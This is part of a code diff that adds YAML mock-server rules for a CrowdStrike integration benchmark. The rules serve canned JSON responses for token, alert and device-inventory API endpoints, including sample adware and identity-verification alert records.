"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "grandparent_details": { + "cmdline": "C:\\Windows\\system32\\userinit.exe", + "filename": "userinit.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", + "local_process_id": "4328", + "md5": "b07f77fd3f9828b2c9d61f8a36609741", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", + "process_id": "392734873135", + "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "timestamp": "2023-10-30T16:49:19Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "yuvraj.mahajan" + }, + "has_script_or_module_ioc": "true", + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ioc_context": [ + { + "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "ioc_source": "library_load", + "ioc_type": "hash_sha256", + "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "type": "module" + } + ], + "ioc_values": [], + "is_synthetic_quarantine_disposition": true, + "local_process_id": "17076", + "logon_domain": "ABSYS", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "name": "PrewittPupAdwareSensorDetect-Lowest", + "objective": "FalconDetectionMethod", + "parent_details": { + "cmdline": "C:\\WINDOWS\\Explorer.EXE", + "filename": "explorer.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "local_process_id": "1040", + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "process_id": "392736520876", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "timestamp": "2023-11-03T18:00:32Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + }, + "parent_process_id": "392736520876", + "pattern_disposition": 2176, + "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", + "pattern_disposition_details": { + "blocking_unsupported_or_disabled": false, + "bootup_safeguard_enabled": false, + "critical_process_disabled": false, + "detect": false, + "fs_operation_blocked": false, + "handle_operation_downgraded": false, + "inddet_mask": false, + "indicator": false, + "kill_action_failed": false, + "kill_parent": false, + "kill_process": false, + "kill_subprocess": false, + "operation_blocked": false, + "policy_disabled": false, + "process_blocked": true, + "quarantine_file": true, + "quarantine_machine": false, + "registry_operation_blocked": false, + "rooting": false, + "sensor_only": false, + "suspend_parent": false, + "suspend_process": false + }, + "pattern_id": 5761, + "platform": "Windows", + "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", + "process_end_time": "1699034421", + "process_id": "399748687993", + "process_start_time": "1699034413", + "product": "epp", + "quarantined_files": [ + { + "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "state": "quarantined" + } + ], + "scenario": "NGAV", + "severity": 30, + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "show_in_ui": true, + "source_products": [ + "FalconInsight" + ], + "source_vendors": [ + "CrowdStrike" + ], + "status": "new", + "tactic": "MachineLearning", + "tactic_id": "CSTA0004", + "technique": "Adware/PUP", + "technique_id": "CST0000", + "timestamp": "2023-11-03T18:00:22.328Z", + "tree_id": "1931778", + "tree_root": "38687993", + "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", + "type": "ldt", + "updated_timestamp": "2023-11-03T19:00:23.985007341Z", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + } + ] + } + `}} + - path: /alerts/combined/alerts/v1 + methods: ['POST'] + request_body: /.*"page-1"*/ + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + {{ minify_json ` + { + "meta": { + "pagination": { + "total": 3, + "limit": 1, + "after": "page-2" + } + }, + "errors": [], + "resources": [ + { + "agent_id": "38293534662e48c99f33c61631b3536d", + "aggregate_id": "aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", + "cid": "4446934rf3fdb64ec3056ddfb96e", + "composite_id": "874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", + "confidence": 80, + "context_timestamp": "2024-08-16T18:43:44.242Z", + "crawled_timestamp": "2024-08-16T18:49:02.798354466Z", + "created_timestamp": "2024-08-16T18:45:02.987127397Z", + "data_domains": [ + "Identity" + ], + "description": "A user denied a policy identity verification request", + "display_name": "Identity verification denied", + "end_time": "2024-08-16T18:43:44.242Z", + "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a", + "id": "ind:4486934rf3fmb64eg566ddfb96e:5976J98F-D91B-ABC-FF9-1191C9021fdA1E7", + "idp_policy_mfa_factor_type": "68709", + "idp_policy_mfa_provider": "10", + "idp_policy_rule_id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65", + "idp_policy_rule_name": "admin - RDP Access to TIER-0 Servers", + "name": "IdpPolicyIdentityVerificationDenied", + "objective": "Gain Access", + "pattern_id": 51143, + "poly_id": "AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==", + "product": "idp", + "scenario": "suspicious_activity", + "seconds_to_resolved": 3, + "seconds_to_triaged": 3, + "severity": 79, + "severity_name": "High", + "show_in_ui": true, + "source_account_azure_id": "65ddx-c454-45f9-9034-Fdf34353", + "source_account_domain": "NET.example.com", + "source_account_name": "admin.example", + "source_account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1567733", + "source_account_sam_account_name": "admin.abcdef", + "source_account_upn": "admin.abcdef@example.com", + "source_endpoint_account_object_guid": "E436B3F0-078C-4629-9437-D3E3169147C0", + "source_endpoint_address_ip4": "81.2.69.144", + "source_endpoint_host_name": "ABDC454.net.example.com", + "source_endpoint_ip_address": "81.2.69.144", + "source_endpoint_sensor_id": "38293534662e48c99f33c61631b3536d", + "source_products": [ + "Falcon Identity Protection" + ], + "source_vendors": [ + "CrowdStrike" + ], + "start_time": "2024-08-19T18:43:44.242Z", + "status": "new", + "tactic": "Credential Access", + "tactic_id": "TA0006", + "technique": "Brute Force", + "technique_id": "T1110", + "tags": [ + "falcon_complete" + ], + "target_account_name": "HFJFJFFFFFFF$", + "target_endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E", + "target_endpoint_account_object_sid": "S-1-5-21-746137067-1844237615-1801674531-298236", + "target_endpoint_host_name": "GH787.net.example.com", + "target_endpoint_sensor_id": "ac89a368e77a4fa5837b53c7f11fc9e7", + "timestamp": "2024-08-19T18:44:01.1Z", + "type": "idp-user-endpoint-app-info", + "updated_timestamp": "2024-08-19T18:49:02.798344752Z", + "user_name": "admin.abcdef", + "activity_browser": "Edge 126.0.0", + "activity_device": "LAPTOP-AP7299QV", + "activity_os": "Windows", + "active_directory_authentication_method": "5", + "activity_id": "2A8A7C96-0F17-412C-8105-94542784E00D", + "alert_attributes": "0", + "location_country_code": "US", + "location_latitude_as_int": 340726, + "location_longitude_as_int": -1182610, + "model_anomaly_indicators": [ + "ACCOUNT_IMPOSSIBLE_VELOCITY", + "ENVIRONMENT_UNUSUAL_IP", + "ENVIRONMENT_UNUSUAL_ISP_DOMAIN", + "ISP_DATACENTER_CLASSIFICATION" + ], + "ldap_search_query_attack": "16", + "protocol_anomaly_classification": "1", + "source_account_object_guid": "9F2CE16C-4A78-42E6-8565-87147707EE79", + "source_endpoint_account_object_sid": "S-1-5-21-111111111-2222222-1417001333-101158", + "source_endpoint_ip_reputation": "128", + "source_ip_isp_classification": "9", + "source_ip_isp_domain": "sioru.com", + "target_domain_controller_host_name": "APINTAL19DC01", + "target_domain_controller_object_guid": "45A24DB7-6CD3-48C5-974F-A97159E7E2B2", + "target_domain_controller_object_sid": "S-1-5-21-111111111-2222222-1417001333-85512", + "target_service_access_identifier": "HOST/admin.example.com" + } + ] + } + `}} + - path: /alerts/combined/alerts/v1 + methods: ['POST'] + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + {{ minify_json ` + { + "meta": { + "pagination": { + "total": 3, + "limit": 1, + "after": "page-1" + } + }, + "errors": [], + "resources": [ + { + "aggregate_id": "aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9", + "agent_id": "58293534772e48c99f33c61631b3536d", + "cid": "4446934rf3fdb64ec3056ddfb96e", + "context_timestamp": "2024-08-19T18:43:44.242Z", + "composite_id": "874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", + "crawled_timestamp": "2024-08-19T18:49:02.798354466Z", + "created_timestamp": "2024-08-19T18:45:02.987127397Z", + "data_domains": [ + "Identity" + ], + "description": "A user denied a policy identity verification request", + "display_name": "Identity verification denied", + "end_time": "2024-08-19T18:43:44.242Z", + "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a", + "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429", + "idp_policy_mfa_factor_type": "42669", + "idp_policy_mfa_provider": "11", + "idp_policy_rule_id": "123324-343-4dfa9E0-8F85-dfaa3242", + "idp_policy_rule_name": "admin - RDP Access to TIER-0 Servers", + "name": "IdpPolicyIdentityVerificationDenied", + "objective": "Gain Access", + "pattern_id": 45897, + "poly_id": "MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==", + "product": "idp", + "scenario": "suspicious_activity", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "severity": 79, + "severity_name": "Medium", + "show_in_ui": true, + "source_account_azure_id": "65ddx-c454-324d-9034-Fdf34353", + "source_account_domain": "BCD.example.com", + "source_account_name": "admin.example", + "source_account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1117733", + "source_account_sam_account_name": "admin.abcdef", + "source_account_upn": "admin.abcdef@example.com", + "source_endpoint_account_object_guid": "FDHJJ343-098C-4629-9437-DD3424GHJ", + "source_endpoint_address_ip4": "81.2.69.144", + "source_endpoint_host_name": "ABDC454.net.example.com", + "source_endpoint_ip_address": "81.2.69.144", + "source_endpoint_sensor_id": "38293523261gh48c99ffd234c6190123536e", + "source_products": [ + "Falcon Identity Protection" + ], + "source_vendors": [ + "CrowdStrike" + ], + "start_time": "2024-08-19T18:43:44.242Z", + "status": "new", + "tactic": "Credential Access", + "tactic_id": "TA0006", + "technique": "Brute Force", + "technique_id": "T1110", + "tags": [ + "falcon_complete" + ], + "target_account_name": "HFJFJFFFFFFF$", + "target_endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536", + "target_endpoint_account_object_sid": "S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236", + "target_endpoint_host_name": "GH787.abc.example.com", + "target_endpoint_sensor_id": "afdsasf3423432nndv3432v", + "timestamp": "2024-08-19T18:44:01.1Z", + "type": "idp-user-endpoint-app-info", + "updated_timestamp": "2024-08-19T18:49:02.798344752Z", + "user_name": "admin.abcdef", + "activity_browser": "Edge 126.0.0", + "activity_device": "LAPTOP-ADFVEJM234V", + "activity_os": "Windows", + "active_directory_authentication_method": "4", + "activity_id": "3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D", + "alert_attributes": "0", + "location_country_code": "US", + "location_latitude_as_int": 320316, + "location_longitude_as_int": -12729080, + "model_anomaly_indicators": [ + "ACCOUNT_IMPOSSIBLE_VELOCITY", + "ENVIRONMENT_UNUSUAL_IP", + "ENVIRONMENT_UNUSUAL_ISP_DOMAIN", + "ISP_DATACENTER_CLASSIFICATION" + ], + "ldap_search_query_attack": "16", + "protocol_anomaly_classification": "1", + "source_account_object_guid": "78HF9842-HGG5-324F-9565-GJD47324", + "source_endpoint_account_object_sid": "S-1-4-21-111111111-2222222-14171121333-1045999", + "source_endpoint_ip_reputation": "118", + "source_ip_isp_classification": "8", + "source_ip_isp_domain": "abc.com", + "target_domain_controller_host_name": "GHPOTAL12578", + "target_domain_controller_object_guid": "59B24AA7-4GH8-f7H0-994F-B90159E7M2K1", + "target_domain_controller_object_sid": "S-2-8-21-333333-2222222-3431-95511", + "target_service_access_identifier": "HOST/root.demo.com" + } + ] + } + `}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml new file mode 100644 index 0000000000..2b27c19c1e --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml @@ -0,0 +1,769 @@ +rules: + - path: /oauth2/token + methods: ['POST'] + responses: + - status_code: 200 + headers: + Content-Type: + - 'application/json' + body: | + {"access_token":"xxxx","expires_in":3600,"token_type":"Bearer","refresh_token":"yyyy"} + # test cases for /devices/combined/devices/v1 endpoint + - path: /devices/combined/devices/v1 + methods: ['GET'] + query_params: + offset: page-2 + limit: 1 + sort: modified_timestamp|asc + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + {{ minify_json ` + { + "meta": { + "pagination": { + "total": 3, + "limit": 1, + "offset": "" + } + }, + "errors": [], + "resources": [ + { + "agent_load_flags": "0", + "agent_local_time": "2023-11-07T04:51:16.678Z", + "agent_version": "7.05.17603.0", + "bios_manufacturer": "ABCInc.", + "bios_version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)", + "chassis_type": "9", + "chassis_type_desc": "Laptop", + "cid": "92012896127c4948236ba7601b886b0", + "config_id_base": "6594763", + "config_id_build": "1703", + "config_id_platform": "4", + "connection_ip": "81.2.69.192", + "cpu_signature": "460517", + "device_id": "3114433dbce478ca48d9a828b9b34be", + "device_policies": { + "device_control": { + "applied": true, + "applied_date": "2023-06-20T08:45:26.341093915Z", + "assigned_date": "2023-06-20T08:43:47.736146738Z", + "policy_id": "2f88daf0177f467dae69262a5ce71775", + "policy_type": "device-control" + }, + "firewall": { + "applied": true, + "applied_date": "2023-09-11T10:33:44.174488832Z", + "assigned_date": "2023-09-11T10:32:47.853976945Z", + "policy_id": "1ee301f7e3e24e96ad6a23c73aaac1e3", + "policy_type": "firewall", + "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3" + }, + "global_config": { + "applied": true, + "applied_date": "2023-11-07T04:52:59.515775409Z", + "assigned_date": "2023-11-07T04:51:18.94671252Z", + "policy_id": "7e3078b60976486cac5dc998808d9135", + "policy_type": "globalconfig", + "settings_hash": "f01def74" + }, + "prevention": { + "applied": true, + "applied_date": "2023-06-08T10:04:47.643357971Z", + "assigned_date": "2023-06-08T10:03:49.505180252Z", + "policy_id": "1024fac1b279424fa7300b8ac2d56be5", + "policy_type": "prevention", + "rule_groups": [], + "settings_hash": "f7a54ca1" + }, + "remote_response": { + "applied": true, + "applied_date": "2023-06-08T10:04:47.01735027Z", + "assigned_date": "2023-06-08T10:03:49.505163572Z", + "policy_id": "dabb4def99034f11b9b3d52271584c9f", + "policy_type": "remote-response", + "settings_hash": "8a548e5e" + }, + "sensor_update": { + "applied": true, + "applied_date": "2023-11-07T04:52:59.659583066Z", + "assigned_date": "2023-11-07T04:47:43.342175341Z", + "policy_id": "64bfa2bbcd4e46da92a66b107933da11", + "policy_type": "sensor-update", + "settings_hash": "tagged|18;101", + "uninstall_protection": "ENABLED" + } + }, + "external_ip": "81.2.69.192", + "first_seen": "2023-06-08T10:00:19Z", + "group_hash": "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77", + "groups": [ + "182388a8dbea4c44b5e019cfd32c2695" + ], + "hostname": "CLM101-131.local", + "kernel_version": "22.6.0", + "last_seen": "2023-11-07T10:25:24Z", + "local_ip": "81.2.69.142", + "mac_address": "14-7d-da-ad-ac-71", + "machine_domain": "SYS", + "major_version": "22", + "meta": { + "version": "6002", + "version_string": "7:43570272778" + }, + "minor_version": "6", + "modified_timestamp": "2023-11-07T10:26:53Z", + "os_build": "22G120", + "os_version": "Ventura(13)", + "platform_id": "1", + "platform_name": "Mac", + "policies": [ + { + "applied": true, + "applied_date": "2023-06-08T10:04:47.643357971Z", + "assigned_date": "2023-06-08T10:03:49.505180252Z", + "policy_id": "1024fac1b279424fa7300b8ac2d56be5", + "policy_type": "prevention", + "rule_groups": [], + "settings_hash": "f7a54ca1" + } + ], + "product_type_desc": "Workstation", + "provision_status": "Provisioned", + "reduced_functionality_mode": "no", + "serial_number": "FVFDH73HMNHX", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system_manufacturer": "ABCInc.", + "system_product_name": "Air,1", + "tags": [ + "tags" + ] + } + ] + } + `}} + - path: /devices/combined/devices/v1 + methods: ['GET'] + query_params: + offset: page-1 + limit: 1 + sort: modified_timestamp|asc + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + {{ minify_json ` + { + "meta": { + "pagination": { + "total": 3, + "limit": 1, + "offset": "", + "next": "page-2" + } + }, + "errors": [], + "resources": [ + { + "agent_load_flags": "0", + "agent_local_time": "2023-11-07T04:51:16.678Z", + "agent_version": "7.05.17603.0", + "bios_manufacturer": "ABCInc.", + "bios_version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)", + "chassis_type": "9", + "chassis_type_desc": "Laptop", + "cid": "92012896127c4948236ba7601b886b0", + "config_id_base": "6594763", + "config_id_build": "1703", + "config_id_platform": "4", + "connection_ip": "81.2.69.192", + "cpu_signature": "460517", + "device_id": "3114433dbce478ca48d9a828b9b34be", + "device_policies": { + "device_control": { + "applied": true, + "applied_date": "2023-06-20T08:45:26.341093915Z", + "assigned_date": "2023-06-20T08:43:47.736146738Z", + "policy_id": "3f88daf0177f467dae69262a5ce71775", + "policy_type": "device-control" + }, + "firewall": { + "applied": true, + "applied_date": "2023-09-11T10:33:44.174488832Z", + "assigned_date": "2023-09-11T10:32:47.853976945Z", + "policy_id": "1ee301f7e3e24e96ad6a23c73aaac1e3", + "policy_type": "firewall", + "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3" + }, + "global_config": { + "applied": true, + "applied_date": "2023-11-07T04:52:59.515775409Z", + "assigned_date": "2023-11-07T04:51:18.94671252Z", + "policy_id": "7e3078b60976486cac5dc998808d9135", + "policy_type": "globalconfig", + "settings_hash": "f01def74" + }, + "prevention": { + "applied": true, + "applied_date": "2023-06-08T10:04:47.643357971Z", + "assigned_date": "2023-06-08T10:03:49.505180252Z", + "policy_id": "1024fac1b279424fa7300b8ac2d56be5", + "policy_type": "prevention", + "rule_groups": [], + "settings_hash": "f7a54ca1" + }, + "remote_response": { + "applied": true, + "applied_date": "2023-06-08T10:04:47.01735027Z", + "assigned_date": "2023-06-08T10:03:49.505163572Z", + "policy_id": "dabb4def99034f11b9b3d52271584c9f", + "policy_type": "remote-response", + "settings_hash": "8a548e5e" + }, + "sensor_update": { + "applied": true, + "applied_date": "2023-11-09T04:52:59.659583066Z", + "assigned_date": "2023-11-09T04:47:43.342175341Z", + "policy_id": "74bfa2bbcd4e46da92a66b107933da11", + "policy_type": "sensor-update", + "settings_hash": "tagged|18;101", + "uninstall_protection": "ENABLED" + } + }, + "external_ip": "81.2.69.192", + "first_seen": "2023-06-09T10:00:19Z", + "group_hash": "c607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77", + "groups": [ + "882388a8dbea4c44b5e019cfd32c2695" + ], + "hostname": "CLM101-141.local", + "kernel_version": "22.6.0", + "last_seen": "2023-11-09T10:25:24Z", + "local_ip": "81.2.69.142", + "mac_address": "14-7d-da-ad-ac-71", + "machine_domain": "SYS", + "major_version": "22", + "meta": { + "version": "6002", + "version_string": "7:43570272778" + }, + "minor_version": "6", + "modified_timestamp": "2023-11-09T10:26:53Z", + "os_build": "22G120", + "os_version": "Ventura(13)", + "platform_id": "1", + "platform_name": "Mac", + "policies": [ + { + "applied": true, + "applied_date": "2023-06-09T10:04:47.643357971Z", + "assigned_date": "2023-06-09T10:03:49.505180252Z", + "policy_id": "2024fac1b279424fa7300b8ac2d56be5", + "policy_type": "prevention", + "rule_groups": [], + "settings_hash": "m7a54ca1" + } + ], + "product_type_desc": "Workstation", + "provision_status": "Provisioned", + "reduced_functionality_mode": "no", + "serial_number": "FVVDH73HMNHX", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system_manufacturer": "ABCInc.", + "system_product_name": "Air,1", + "tags": [ + "tags" + ] + } + ] + } + `}} + - path: /devices/combined/devices/v1 + methods: ['GET'] + query_params: + limit: 1 + sort: modified_timestamp|asc + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + {{ minify_json ` + { + "meta": { + "pagination": { + "total": 3, + "limit": 1, + "offset": "", + "next": "page-1" + } + }, + "errors": [], + "resources": [ + { + "agent_load_flags": "0", + "agent_local_time": "2023-11-07T04:51:16.678Z", + "agent_version": "7.05.17603.0", + "bios_manufacturer": "ABCInc.", + "bios_version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)", + "chassis_type": "9", + "chassis_type_desc": "Laptop", + "cid": "12345696127c4948236ba7601b886b0", + "config_id_base": "6594763", + "config_id_build": "1703", + "config_id_platform": "4", + "connection_ip": "81.2.69.192", + "cpu_signature": "460517", + "device_id": "3114433dbce478ca48d9a828b9b34be", + "device_policies": { + "device_control": { + "applied": true, + "applied_date": "2023-06-20T08:45:26.341093915Z", + "assigned_date": "2023-06-20T08:43:47.736146738Z", + "policy_id": "3f88daf0177f467dae69262a5ce71775", + "policy_type": "device-control" + }, + "firewall": { + "applied": true, + "applied_date": "2023-09-11T10:33:44.174488832Z", + "assigned_date": "2023-09-11T10:32:47.853976945Z", + "policy_id": "1ee301f7e3e24e96ad6a23c73aaac1e3", + "policy_type": "firewall", + "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3" + }, + "global_config": { + "applied": true, + "applied_date": "2023-11-07T04:52:59.515775409Z", + "assigned_date": "2023-11-07T04:51:18.94671252Z", + "policy_id": "7e3078b60976486cac5dc998808d9135", + "policy_type": "globalconfig", + "settings_hash": "f01def74" + }, + "prevention": { + "applied": true, + "applied_date": "2023-06-08T10:04:47.643357971Z", + "assigned_date": "2023-06-08T10:03:49.505180252Z", + "policy_id": "1024fac1b279424fa7300b8ac2d56be5", + "policy_type": "prevention", + "rule_groups": [], + "settings_hash": "f7a54ca1" + }, + "remote_response": { + "applied": true, + "applied_date": "2023-06-08T10:04:47.01735027Z", + "assigned_date": "2023-06-08T10:03:49.505163572Z", + "policy_id": "dabb4def99034f11b9b3d52271584c9f", + "policy_type": "remote-response", + "settings_hash": "8a548e5e" + }, + "sensor_update": { + "applied": true, + "applied_date": "2023-11-09T04:52:59.659583066Z", + "assigned_date": "2023-11-09T04:47:43.342175341Z", + "policy_id": "74bfa2bbcd4e46da92a66b107933da11", + "policy_type": "sensor-update", + "settings_hash": "tagged|18;101", + "uninstall_protection": "ENABLED" + } + }, + "external_ip": "81.2.69.192", + "first_seen": "2023-06-09T10:00:19Z", + "group_hash": "c607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77", + "groups": [ + "882388a8dbea4c44b5e019cfd32c2695" + ], + "hostname": "CLM101-141.local", + "kernel_version": "22.6.0", + "last_seen": "2023-11-09T10:25:24Z", + "local_ip": "81.2.69.142", + "mac_address": "14-7d-da-ad-ac-71", + "machine_domain": "SYS", + "major_version": "22", + "meta": { + "version": "6002", + "version_string": "7:43570272778" + }, + "minor_version": "6", + "modified_timestamp": "2025-11-09T10:26:53Z", + "os_build": "22G120", + "os_version": "Ventura(13)", + "platform_id": "1", + "platform_name": "Mac", + "policies": [ + { + "applied": true, + "applied_date": "2023-06-09T10:04:47.643357971Z", + "assigned_date": "2023-06-09T10:03:49.505180252Z", + "policy_id": "2024fac1b279424fa7300b8ac2d56be5", + "policy_type": "prevention", + "rule_groups": [], + "settings_hash": "m7a54ca1" + } + ], + "product_type_desc": "Workstation", + "provision_status": "Provisioned", + "reduced_functionality_mode": "no", + "serial_number": "FVVDH73HMNHX", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system_manufacturer": "ABCInc.", + "system_product_name": "Air,1", + "tags": [ + "tags" + ] + } + ] + } + `}} + + # test cases for /devices/queries/devices/v1 endpoint + - path: /devices/queries/devices/v1 + methods: ['GET'] + query_params: + offset: 0 + limit: 1 + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: | + {{ minify_json ` + { + "meta": { + "query_time": 0.017724698, + "pagination": { + "offset": 0, + "limit": 1, + "total": 3 + }, + "writes": { + "resources_affected": 0 + }, + "powered_by": "detectsapi", + "trace_id": "a21557a2-abd0-4363-9293-727c38084b3b" + }, + "resources": [ + "abc" + ] + } + `}} + - path: /devices/queries/devices/v1 + methods: ['GET'] + query_params: + offset: 1 + limit: 1 + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: | + {{ minify_json ` + { + "meta": { + "query_time": 0.017724698, + "pagination": { + "offset": 1, + "limit": 1, + "total": 3 + }, + "writes": { + "resources_affected": 0 + }, + "powered_by": "detectsapi", + "trace_id": "b21557a2-abd0-4363-9293-727c384b3b" + }, + "resources": [ + "def" + ] + } + `}} + - path: /devices/queries/devices/v1 + methods: ['GET'] + query_params: + offset: 2 + limit: 1 + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: | + {{ minify_json ` + { + "meta": { + "query_time": 0.017725698, + "pagination": { + "offset": 2, + "limit": 1, + "total": 2 + }, + "writes": { + "resources_affected": 0 + }, + "powered_by": "detectsapi", + "trace_id": "a31557a2-abd0-4363-9293-727c384b3b" + }, + "resources": [] + } + `}} + - path: /devices/entities/devices/v2 + methods: ['POST'] + request_body: /.*"abc"*/ + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + { + "resources":[ + { + "agent_load_flags":"0", + "agent_local_time":"2023-11-07T04:51:16.678Z", + "agent_version":"7.05.17603.0", + "bios_manufacturer":"ABCInc.", + "bios_version":"2020.0.1.0.0(iBridge:22.11.000.0.0,0)", + "chassis_type":"9", + "chassis_type_desc":"Laptop", + "cid":"92012896127c4948236ba7601b886b0", + "config_id_base":"6594763", + "config_id_build":"1703", + "config_id_platform":"4", + "connection_ip":"81.2.69.192", + "cpu_signature":"460517", + "device_id":"3114433dbce478ca48d9a828b9b34be", + "device_policies":{ + "device_control":{ + "applied":true, + "applied_date":"2023-06-20T08:45:26.341093915Z", + "assigned_date":"2023-06-20T08:43:47.736146738Z", + "policy_id":"2f88daf0177f467dae69262a5ce71775", + "policy_type":"device-control" + }, + "firewall":{ + "applied":true, + "applied_date":"2023-09-11T10:33:44.174488832Z", + "assigned_date":"2023-09-11T10:32:47.853976945Z", + "policy_id":"1ee301f7e3e24e96ad6a23c73aaac1e3", + "policy_type":"firewall", + "rule_set_id":"1ee301f7e3e24e96ad6a23c73aaac1e3" + }, + "global_config":{ + "applied":true, + 